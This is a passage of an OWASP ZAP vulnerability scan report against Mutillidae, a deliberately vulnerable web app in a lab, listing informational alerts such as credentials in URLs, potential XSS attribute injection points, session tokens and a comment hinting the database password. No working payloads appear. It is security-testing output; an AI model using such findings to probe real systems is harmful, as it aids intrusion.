	If possible, ensure that the end user uses a standards-compliant and modern web browser that does not perform MIME-sniffing at all, or that can be directed by the web application /web server to not perform MIME-sniffing.
Reference	https://learn.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/compatibility/gg622941(v=vs.85) https://owasp.org/www-community/Security-Headers
CWE Id	693
WASC Id	15
Plugin Id	10021

Informational	Authentication Request Identified
Description	The given request has been identified as an authentication request. The 'Other Info' field contains a set of key=value lines which identify any relevant fields. If the request is in a context which has an Authentication Method set to "Auto-Detect" then this rule will change the authentication to match the request identified.
URL	http://192.168.56.104/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Node Name	http://192.168.56.104/mutillidae/index.php (page,password,user-info-php-submit-button,username)
Method	GET
Attack	
Evidence	password
Other Info	userParam=user-info-php-submit-button userValue=View Account Details passwordParam=password referer=http://192.168.56.104/mutillidae/index.php?page=user-info.php
URL	http://192.168.56.104/mutillidae/index.php?page=user-info.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(page,password,user-info-php-submit-button,username)
Method	POST
Attack	
Evidence	password
Other Info	userParam=user-info-php-submit-button userValue=View Account Details passwordParam=password referer=http://192.168.56.104/mutillidae/?page=user-info.php
URL	http://192.168.56.104/mutillidae/index.php?page=login.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(login-php-submit-button,password,username)
Method	POST
Attack	
Evidence	password
Other Info	userParam=login-php-submit-button userValue=Login passwordParam=password referer=http://192.168.56.104/mutillidae/index.php?page=login.php
Instances	3
Solution	This is an informational alert rather than a vulnerability and so there is nothing to fix.
Reference	https://www.zaproxy.org/docs/desktop/addons/authentication-helper/auth-req-id/
CWE Id	
WASC Id	
Plugin Id	10111

Informational	GET for POST
---------------	--------------

Description	A request that was originally observed as a POST was also accepted as a GET. This issue does not represent a security weakness unto itself, however, it may facilitate simplification of other attacks. For example if the original POST is subject to Cross-Site Scripting (XSS), then this finding may indicate that a simplified (GET based) XSS may also be possible.
URL	http://192.168.56.104/mutillidae/index.php?page=set-background-color.php
Node Name	http://192.168.56.104/mutillidae/index.php (background_color,set-background-color-php-submit-button)
Method	GET
Attack	
Evidence	GET http://192.168.56.104/mutillidae/index.php?background_color=ZAP&set-background-color-php-submit-button=Set%20Background%20Color HTTP/1.1
Other Info	
Instances	1
Solution	Ensure that only POST is accepted where POST is expected.
Reference	
CWE Id	16
WASC Id	20
Plugin Id	10058

Informational	Information Disclosure - Sensitive Information in URL
Description	The request appeared to contain sensitive information leaked in the URL. This can violate PCI and most organizational compliance policies. You can configure the list of strings for this check to add or remove values specific to your environment.
URL	http://192.168.56.104/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Node Name	http://192.168.56.104/mutillidae/index.php (choice,initials,page,user-poll-php-submit-button)
Method	GET
Attack	
Evidence	user-poll-php-submit-button
Other Info	The URL contains potentially sensitive information. The following string was found via the pattern: user user-poll-php-submit-button
URL	http://192.168.56.104/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Node Name	http://192.168.56.104/mutillidae/index.php (page,password,user-info-php-submit-button,username)
Method	GET
Attack	
Evidence	password
Other Info	The URL contains potentially sensitive information. The following string was found via the pattern: pass password
URL	http://192.168.56.104/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Node Name	http://192.168.56.104/mutillidae/index.php (page,password,user-info-php-submit-button,username)
Method	GET
Attack	
Evidence	user-info-php-submit-button

Other Info	The URL contains potentially sensitive information. The following string was found via the pattern: user user-info-php-submit-button
URL	http://192.168.56.104/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Node Name	http://192.168.56.104/mutillidae/index.php (page,password,user-info-php-submit-button, username)
Method	GET
Attack	
Evidence	username
Other Info	The URL contains potentially sensitive information. The following string was found via the pattern: user username
URL	http://192.168.56.104/mutillidae/index.php?page=password-generator.php&username=anonymous
Node Name	http://192.168.56.104/mutillidae/index.php (page,username)
Method	GET
Attack	
Evidence	username
Other Info	The URL contains potentially sensitive information. The following string was found via the pattern: user username
Instances	5
Solution	Do not pass sensitive information in URIs.
Reference	
CWE Id	598
WASC Id	13
Plugin Id	10024

Informational	Information Disclosure - Suspicious Comments
Description	The response appears to contain suspicious comments which may help an attacker.
URL	http://192.168.56.104/mutillidae/javascript/ddsmoothmenu/ddsmoothmenu.js
Node Name	http://192.168.56.104/mutillidae/javascript/ddsmoothmenu/ddsmoothmenu.js
Method	GET
Attack	
Evidence	bug
Other Info	The following pattern was used: \bBUG\b and was detected in likely comment: "/* July 27th, 09" (v1.31): Fixed bug so shadows can be disabled if desired.", see evidence field for the suspicious comment/snippet.
URL	http://192.168.56.104/mutillidae/javascript/ddsmoothmenu/jquery.min.js
Node Name	http://192.168.56.104/mutillidae/javascript/ddsmoothmenu/jquery.min.js
Method	GET
Attack	
Evidence	username
Other Info	The following pattern was used: \bUSERNAME\b and was detected in likely comment: "/*", lastModified:{},ajax:function(M){M=o.extend(true,M,o.extend(true,{},o.ajaxSettings,M));var W,F=/\?(& \$)/g,R,V,G=M.type.to", see evidence field for the suspicious comment/snippet.

URL	http://192.168.56.104/mutillidae/
Node Name	http://192.168.56.104/mutillidae/
Method	GET
Attack	
Evidence	user
Other Info	The following pattern was used: \bUSER\b and was detected in likely comment: "<!-- I think the database password is set to blank or perhaps samurai. It depends on whether you installed this web app from", see evidence field for the suspicious comment/snippet.
URL	http://192.168.56.104/mutillidae/?page=add-to-your-blog.php
Node Name	http://192.168.56.104/mutillidae/ (page)
Method	GET
Attack	
Evidence	user
Other Info	The following pattern was used: \bUSER\b and was detected in likely comment: "<!-- I think the database password is set to blank or perhaps samurai. It depends on whether you installed this web app from", see evidence field for the suspicious comment/snippet.
URL	http://192.168.56.104/mutillidae/index.php
Node Name	http://192.168.56.104/mutillidae/index.php
Method	GET
Attack	
Evidence	user
Other Info	The following pattern was used: \bUSER\b and was detected in likely comment: "<!-- I think the database password is set to blank or perhaps samurai. It depends on whether you installed this web app from", see evidence field for the suspicious comment/snippet.
URL	http://192.168.56.104/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Node Name	http://192.168.56.104/mutillidae/index.php (choice,initials,page,user-poll-php-submit-button)
Method	GET
Attack	
Evidence	user
Other Info	The following pattern was used: \bUSER\b and was detected in likely comment: "<!-- I think the database password is set to blank or perhaps samurai. It depends on whether you installed this web app from", see evidence field for the suspicious comment/snippet.
URL	http://192.168.56.104/mutillidae/index.php?forwardurl=http://www.owasp.org&page=redirectandlog.php
Node Name	http://192.168.56.104/mutillidae/index.php (forwardurl,page)
Method	GET
Attack	
Evidence	user
Other Info	The following pattern was used: \bUSER\b and was detected in likely comment: "<!-- I think the database password is set to blank or perhaps samurai. It depends on whether you installed this web app from", see evidence field for the suspicious comment/snippet.
URL	http://192.168.56.104/mutillidae/index.php?page=login.php

Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET
Attack	
Evidence	user
Other Info	The following pattern was used: \bUSER\b and was detected in likely comment: "<!-- I think the database password is set to blank or perhaps samurai. It depends on whether you installed this web app from", see evidence field for the suspicious comment/snippet.
URL	http://192.168.56.104/mutillidae/index.php?page=password-generator.php&username=anonymous
Node Name	http://192.168.56.104/mutillidae/index.php (page,username)
Method	GET
Attack	
Evidence	user
Other Info	The following pattern was used: \bUSER\b and was detected in likely comment: "<!-- I think the database password is set to blank or perhaps samurai. It depends on whether you installed this web app from", see evidence field for the suspicious comment/snippet.
URL	http://192.168.56.104/mutillidae/index.php?page=pen-test-tool-lookup.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	POST
Attack	
Evidence	user
Other Info	The following pattern was used: \bUSER\b and was detected in likely comment: "<!-- I think the database password is set to blank or perhaps samurai. It depends on whether you installed this web app from", see evidence field for the suspicious comment/snippet.
URL	http://192.168.56.104/mutillidae/index.php?page=html5-storage.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(DOMStorageItem,DOMStorageKey,SessionStorageType)
Method	POST
Attack	
Evidence	user
Other Info	The following pattern was used: \bUSER\b and was detected in likely comment: "<!-- I think the database password is set to blank or perhaps samurai. It depends on whether you installed this web app from", see evidence field for the suspicious comment/snippet.
URL	http://192.168.56.104/mutillidae/index.php?page=add-to-your-blog.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(add-to-your-blog-php-submit-button, blog_entry,csrf-token)
Method	POST
Attack	
Evidence	user
Other Info	The following pattern was used: \bUSER\b and was detected in likely comment: "<!-- I think the database password is set to blank or perhaps samurai. It depends on whether you installed this web app from", see evidence field for the suspicious comment/snippet.
URL	http://192.168.56.104/mutillidae/index.php?page=view-someones-blog.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(author,view-someones-blog-php-submit-button)

Method	POST
Attack	
Evidence	user
Other Info	The following pattern was used: \bUSER\b and was detected in likely comment: "<!-- I think the database password is set to blank or perhaps samurai. It depends on whether you installed this web app from", see evidence field for the suspicious comment/snippet.
URL	http://192.168.56.104/mutillidae/index.php?page=set-background-color.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(background_color,set-background-color-php-submit-button)
Method	POST
Attack	
Evidence	user
Other Info	The following pattern was used: \bUSER\b and was detected in likely comment: "<!-- I think the database password is set to blank or perhaps samurai. It depends on whether you installed this web app from", see evidence field for the suspicious comment/snippet.
URL	http://192.168.56.104/mutillidae/index.php?page=register.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(confirm_password,my_signature,password,register-php-submit-button,username)
Method	POST
Attack	
Evidence	user
Other Info	The following pattern was used: \bUSER\b and was detected in likely comment: "<!-- I think the database password is set to blank or perhaps samurai. It depends on whether you installed this web app from", see evidence field for the suspicious comment/snippet.
URL	http://192.168.56.104/mutillidae/index.php?page=dns-lookup.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(dns-lookup-php-submit-button,target_host)
Method	POST
Attack	
Evidence	user
Other Info	The following pattern was used: \bUSER\b and was detected in likely comment: "<!-- I think the database password is set to blank or perhaps samurai. It depends on whether you installed this web app from", see evidence field for the suspicious comment/snippet.
URL	http://192.168.56.104/mutillidae/index.php?page=login.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(login-php-submit-button,password,username)
Method	POST
Attack	
Evidence	user
Other Info	The following pattern was used: \bUSER\b and was detected in likely comment: "<!-- I think the database password is set to blank or perhaps samurai. It depends on whether you installed this web app from", see evidence field for the suspicious comment/snippet.
URL	http://192.168.56.104/mutillidae/index.php?page=text-file-viewer.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(text-file-viewer-php-submit-button,textfile)
Method	POST
Attack	

Evidence	user
Other Info	The following pattern was used: \bUSER\b and was detected in likely comment: "<!-- I think the database password is set to blank or perhaps samurai. It depends on whether you installed this web app from", see evidence field for the suspicious comment/snippet.
Instances	18
Solution	Remove all comments that return information that may help an attacker and fix any underlying problems they refer to.
Reference	
CWE Id	615
WASC Id	13
Plugin Id	10027

Informational	Modern Web Application
Description	The application appears to be a modern web application. If you need to explore it automatically then the Ajax Spider may well be more effective than the standard one.
URL	http://192.168.56.104/mutillidae/
Node Name	http://192.168.56.104/mutillidae/
Method	GET
Attack	
Evidence	Core Controls
Other Info	Links have been found that do not have traditional href attributes, which is an indication that this is a modern web application.
URL	http://192.168.56.104/mutillidae/?page=add-to-your-blog.php
Node Name	http://192.168.56.104/mutillidae/ (page)
Method	GET
Attack	
Evidence	Core Controls
Other Info	Links have been found that do not have traditional href attributes, which is an indication that this is a modern web application.
URL	http://192.168.56.104/mutillidae/index.php
Node Name	http://192.168.56.104/mutillidae/index.php
Method	GET
Attack	
Evidence	Core Controls
Other Info	Links have been found that do not have traditional href attributes, which is an indication that this is a modern web application.
URL	http://192.168.56.104/mutillidae/index.php?page=login.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET
Attack	
Evidence	Core Controls
Other Info	Links have been found that do not have traditional href attributes, which is an indication that this is a modern web application.

URL	http://192.168.56.104/mutillidae/index.php?page=password-generator.php&username=anonymous
Node Name	http://192.168.56.104/mutillidae/index.php (page,username)
Method	GET
Attack	
Evidence	Core Controls
Other Info	Links have been found that do not have traditional href attributes, which is an indication that this is a modern web application.
Instances	Systemic
Solution	This is an informational alert and so no changes are required.
Reference	
CWE Id	
WASC Id	
Plugin Id	10109

Informational	Session Management Response Identified
Description	The given response has been identified as containing a session management token. The 'Other Info' field contains a set of header tokens that can be used in the Header Based Session Management Method. If the request is in a context which has a Session Management Method set to "Auto-Detect" then this rule will change the session management to use the tokens identified.
URL	http://192.168.56.104/mutillidae/
Node Name	http://192.168.56.104/mutillidae/
Method	GET
Attack	
Evidence	PHPSESSID
Other Info	cookie:PHPSESSID
URL	http://192.168.56.104/mutillidae/index.php?do=toggle-hints&page=redirectandlog.php
Node Name	http://192.168.56.104/mutillidae/index.php (do,page)
Method	GET
Attack	
Evidence	showhints
Other Info	cookie:showhints
Instances	2
Solution	This is an informational alert rather than a vulnerability and so there is nothing to fix.
Reference	https://www.zaproxy.org/docs/desktop/addons/authentication-helper/session-mgmt-id/
CWE Id	
WASC Id	
Plugin Id	10112

Informational	User Agent Fuzzer

Description	Check for differences in response based on fuzzed User Agent (eg. mobile sites, access as a Search Engine Crawler). Compares the response statuscode and the hashcode of the response body with the original response.
URL	http://192.168.56.104/mutillidae/
Node Name	http://192.168.56.104/mutillidae/
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Evidence	
Other Info	
URL	http://192.168.56.104/mutillidae/
Node Name	http://192.168.56.104/mutillidae/
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
Other Info	
URL	http://192.168.56.104/mutillidae/
Node Name	http://192.168.56.104/mutillidae/
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
Other Info	
URL	http://192.168.56.104/mutillidae/?page=register.php
Node Name	http://192.168.56.104/mutillidae/ (page)
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Evidence	
Other Info	
URL	http://192.168.56.104/mutillidae/?page=register.php
Node Name	http://192.168.56.104/mutillidae/ (page)
Method	GET
Attack	Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Evidence	
Other Info	
Instances	Systemic
Solution	
Reference	https://owasp.org/wstg

CWE Id	
WASC Id	
Plugin Id	10104

Informational	User Controllable HTML Element Attribute (Potential XSS)
Description	This check looks at user-supplied input in query string parameters and POST data to identify where certain HTML attribute values might be controlled. This provides hot-spot detection for XSS (cross-site scripting) that will require further review by a security analyst to determine exploitability.
URL	http://192.168.56.104/mutillidae/?page=user-info.php
Node Name	http://192.168.56.104/mutillidae/ (page)
Method	GET
Attack	
Evidence	
Other Info	User-controlled HTML attribute values were found. Try injecting special characters to see if XSS might be possible. The page at the following URL: http://192.168.56.104/mutillidae/?page=user-info.php appears to include user input in: a(n) [input] tag [value] attribute The user input found was: page=user-info.php The user-controlled value was: user-info.php
URL	http://192.168.56.104/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Node Name	http://192.168.56.104/mutillidae/index.php (choice,initials,page,user-poll-php-submit-button)
Method	GET
Attack	
Evidence	
Other Info	User-controlled HTML attribute values were found. Try injecting special characters to see if XSS might be possible. The page at the following URL: http://192.168.56.104/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote appears to include user input in: a(n) [input] tag [value] attribute The user input found was: choice=nmap The user-controlled value was: nmap
URL	http://192.168.56.104/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Node Name	http://192.168.56.104/mutillidae/index.php (choice,initials,page,user-poll-php-submit-button)
Method	GET
Attack	
Evidence	
Other Info	User-controlled HTML attribute values were found. Try injecting special characters to see if XSS might be possible. The page at the following URL: http://192.168.56.104/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote appears to include user input in: a(n) [input] tag [value] attribute The user input found was: page=user-poll.php The user-controlled value was: user-poll.php
URL	http://192.168.56.104/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote
Node Name	http://192.168.56.104/mutillidae/index.php (choice,initials,page,user-poll-php-submit-button)
Method	GET
Attack	
Evidence	
	User-controlled HTML attribute values were found. Try injecting special characters to see if

Other Info	XSS might be possible. The page at the following URL: http://192.168.56.104/mutillidae/index.php?choice=nmap&initials=ZAP&page=user-poll.php&user-poll-php-submit-button=Submit+Vote appears to include user input in: a(n) [input] tag [value] attribute The user input found was: user-poll-php-submit-button=Submit Vote The user-controlled value was: submit vote
URL	http://192.168.56.104/mutillidae/index.php?forwardurl=http://www.irongeek.com/&page=redirectandlog.php
Node Name	http://192.168.56.104/mutillidae/index.php (forwardurl,page)
Method	GET
Attack	
Evidence	
Other Info	User-controlled HTML attribute values were found. Try injecting special characters to see if XSS might be possible. The page at the following URL: http://192.168.56.104/mutillidae/index.php?forwardurl=http://www.irongeek.com/&page=redirectandlog.php appears to include user input in: a(n) [a] tag [href] attribute The user input found was: forwardurl=http://www.irongeek.com/ The user-controlled value was: http://www.irongeek.com/i.php?page=security/mutillidae-deliberately-vulnerable-php-owasp-top-10
URL	http://192.168.56.104/mutillidae/index.php?page=user-info.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)
Method	GET
Attack	
Evidence	
Other Info	User-controlled HTML attribute values were found. Try injecting special characters to see if XSS might be possible. The page at the following URL: http://192.168.56.104/mutillidae/index.php?page=user-info.php appears to include user input in: a(n) [input] tag [value] attribute The user input found was: page=user-info.php The user-controlled value was: user-info.php
URL	http://192.168.56.104/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Node Name	http://192.168.56.104/mutillidae/index.php (page,password,user-info-php-submit-button, username)
Method	GET
Attack	
Evidence	
Other Info	User-controlled HTML attribute values were found. Try injecting special characters to see if XSS might be possible. The page at the following URL: http://192.168.56.104/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP appears to include user input in: a(n) [input] tag [value] attribute The user input found was: page=user-info.php The user-controlled value was: user-info.php
URL	http://192.168.56.104/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP
Node Name	http://192.168.56.104/mutillidae/index.php (page,password,user-info-php-submit-button, username)
Method	GET
Attack	
Evidence	
Other Info	User-controlled HTML attribute values were found. Try injecting special characters to see if XSS might be possible. The page at the following URL: http://192.168.56.104/mutillidae/index.php?page=user-info.php&password=ZAP&user-info-php-submit-button=View+Account+Details&username=ZAP appears to include user input in: a(n) [input]

	tag [value] attribute The user input found was: user-info-php-submit-button=View Account Details The user-controlled value was: view account details
URL	http://192.168.56.104/mutillidae/index.php?page=source-viewer.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(CSRFToken,page,phpfile,source-file-viewer-php-submit-button)
Method	POST
Attack	
Evidence	
Other Info	User-controlled HTML attribute values were found. Try injecting special characters to see if XSS might be possible. The page at the following URL: http://192.168.56.104/mutillidae/index.php?page=source-viewer.php appears to include user input in: a(n) [input] tag [value] attribute The user input found was: page=source-viewer.php The user-controlled value was: source-viewer.php
URL	http://192.168.56.104/mutillidae/index.php?page=source-viewer.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(CSRFToken,page,phpfile,source-file-viewer-php-submit-button)
Method	POST
Attack	
Evidence	
Other Info	User-controlled HTML attribute values were found. Try injecting special characters to see if XSS might be possible. The page at the following URL: http://192.168.56.104/mutillidae/index.php?page=source-viewer.php appears to include user input in: a(n) [input] tag [value] attribute The user input found was: source-file-viewer-php-submit-button=View File The user-controlled value was: view file
URL	http://192.168.56.104/mutillidae/index.php?page=html5-storage.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(DOMStorageItem,DOMStorageKey,SessionStorageType)
Method	POST
Attack	
Evidence	
Other Info	User-controlled HTML attribute values were found. Try injecting special characters to see if XSS might be possible. The page at the following URL: http://192.168.56.104/mutillidae/index.php?page=html5-storage.php appears to include user input in: a(n) [input] tag [name] attribute The user input found was: SessionStorageType=Session The user-controlled value was: sessionstorage type
URL	http://192.168.56.104/mutillidae/index.php?page=add-to-your-blog.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(add-to-your-blog-php-submit-button, blog_entry,csrf-token)
Method	POST
Attack	
Evidence	
Other Info	User-controlled HTML attribute values were found. Try injecting special characters to see if XSS might be possible. The page at the following URL: http://192.168.56.104/mutillidae/index.php?page=add-to-your-blog.php appears to include user input in: a(n) [input] tag [value] attribute The user input found was: add-to-your-blog-php-submit-button=Save Blog Entry The user-controlled value was: save blog entry
URL	http://192.168.56.104/mutillidae/index.php?page=view-someones-blog.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(author,view-someones-blog-php-submit-button)
Method	POST

Attack	
Evidence	
Other Info	User-controlled HTML attribute values were found. Try injecting special characters to see if XSS might be possible. The page at the following URL: http://192.168.56.104/mutillidae/index.php?page=view-someones-blog.php appears to include user input in: a(n) [option] tag [value] attribute The user input found was: author=6C57C4B5-B341-4539-977B-7ACB9D42985A The user-controlled value was: 6c57c4b5-b341-4539-977b-7acb9d42985a
URL	http://192.168.56.104/mutillidae/index.php?page=view-someones-blog.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(author,view-someones-blog-php-submit-button)
Method	POST
Attack	
Evidence	
Other Info	User-controlled HTML attribute values were found. Try injecting special characters to see if XSS might be possible. The page at the following URL: http://192.168.56.104/mutillidae/index.php?page=view-someones-blog.php appears to include user input in: a(n) [input] tag [value] attribute The user input found was: view-someones-blog-php-submit-button=View Blog Entries The user-controlled value was: view blog entries
URL	http://192.168.56.104/mutillidae/index.php?page=set-background-color.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(background_color,set-background-color-php-submit-button)
Method	POST
Attack	
Evidence	
Other Info	User-controlled HTML attribute values were found. Try injecting special characters to see if XSS might be possible. The page at the following URL: http://192.168.56.104/mutillidae/index.php?page=set-background-color.php appears to include user input in: a(n) [input] tag [value] attribute The user input found was: set-background-color-php-submit-button=Set Background Color The user-controlled value was: set background color
URL	http://192.168.56.104/mutillidae/index.php?page=register.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(confirm_password,my_signature,password,register-php-submit-button,username)
Method	POST
Attack	
Evidence	
Other Info	User-controlled HTML attribute values were found. Try injecting special characters to see if XSS might be possible. The page at the following URL: http://192.168.56.104/mutillidae/index.php?page=register.php appears to include user input in: a(n) [input] tag [value] attribute The user input found was: register-php-submit-button=Create Account The user-controlled value was: create account
URL	http://192.168.56.104/mutillidae/index.php?page=dns-lookup.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(dns-lookup-php-submit-button,target_host)
Method	POST
Attack	
Evidence	
Other Info	User-controlled HTML attribute values were found. Try injecting special characters to see if XSS might be possible. The page at the following URL: http://192.168.56.104/mutillidae/index.php?page=dns-lookup.php appears to include user input in: a(n) [input] tag [value] attribute The user input found was: dns-lookup-php-submit-button=Lookup DNS The user-controlled value was: lookup dns

URL	http://192.168.56.104/mutillidae/index.php?page=login.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(login-php-submit-button,password,username)
Method	POST
Attack	
Evidence	
Other Info	User-controlled HTML attribute values were found. Try injecting special characters to see if XSS might be possible. The page at the following URL: http://192.168.56.104/mutillidae/index.php?page=login.php appears to include user input in: a(n) [input] tag [name] attribute The user input found was: login-php-submit-button=Login The user-controlled value was: login-php-submit-button
URL	http://192.168.56.104/mutillidae/index.php?page=user-info.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(page,password,user-info-php-submit-button,username)
Method	POST
Attack	
Evidence	
Other Info	User-controlled HTML attribute values were found. Try injecting special characters to see if XSS might be possible. The page at the following URL: http://192.168.56.104/mutillidae/index.php?page=user-info.php appears to include user input in: a(n) [input] tag [value] attribute The user input found was: page=user-info.php The user-controlled value was: user-info.php
URL	http://192.168.56.104/mutillidae/index.php?page=user-info.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(page,password,user-info-php-submit-button,username)
Method	POST
Attack	
Evidence	
Other Info	User-controlled HTML attribute values were found. Try injecting special characters to see if XSS might be possible. The page at the following URL: http://192.168.56.104/mutillidae/index.php?page=user-info.php appears to include user input in: a(n) [input] tag [value] attribute The user input found was: user-info-php-submit-button=View Account Details The user-controlled value was: view account details
URL	http://192.168.56.104/mutillidae/index.php?page=text-file-viewer.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(text-file-viewer-php-submit-button,textfile)
Method	POST
Attack	
Evidence	
Other Info	User-controlled HTML attribute values were found. Try injecting special characters to see if XSS might be possible. The page at the following URL: http://192.168.56.104/mutillidae/index.php?page=text-file-viewer.php appears to include user input in: a(n) [input] tag [value] attribute The user input found was: text-file-viewer-php-submit-button=View File The user-controlled value was: view file
URL	http://192.168.56.104/mutillidae/index.php?page=text-file-viewer.php
Node Name	http://192.168.56.104/mutillidae/index.php (page)(text-file-viewer-php-submit-button,textfile)
Method	POST
Attack	
Evidence	

Other Info	User-controlled HTML attribute values were found. Try injecting special characters to see if XSS might be possible. The page at the following URL: http://192.168.56.104/mutillidae/index.php?page=text-file-viewer.php appears to include user input in: a(n) [option] tag [value] attribute The user input found was: textfile= http://www.textfiles.com/hacking/atms The user-controlled value was: http://www.textfiles.com/hacking/atms
Instances	22
Solution	Validate all input and sanitize output it before writing to any HTML attributes.
Reference	https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html
CWE Id	20
WASC Id	20
Plugin Id	10031